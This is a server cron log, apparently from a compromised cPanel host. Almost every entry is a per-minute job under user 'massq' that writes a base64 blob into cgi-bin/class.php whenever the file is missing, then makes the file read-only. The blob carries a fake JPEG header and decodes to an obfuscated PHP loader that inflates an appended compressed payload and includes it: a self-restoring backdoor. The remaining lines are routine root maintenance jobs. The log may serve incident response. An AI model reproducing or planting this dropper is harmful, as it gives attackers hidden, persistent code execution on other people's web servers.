Nov 15 08:45:01 server CROND[18946]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:45:01 server CROND[18947]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 08:46:01 server CROND[19265]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:47:01 server CROND[19634]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:48:01 server CROND[19906]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:49:01 server CROND[20183]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:50:01 server CROND[20466]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 08:50:01 server CROND[20465]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 08:50:01 server CROND[20469]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:50:01 server CROND[20467]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 08:50:01 server CROND[20468]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 08:51:01 server CROND[20794]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:52:01 server CROND[21146]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:53:01 server CROND[21411]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:54:01 server CROND[21662]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:55:01 server CROND[21938]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 08:55:01 server CROND[21939]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:55:01 server CROND[21940]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 08:56:01 server CROND[22255]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:57:02 server CROND[22653]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:57:02 server CROND[22654]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
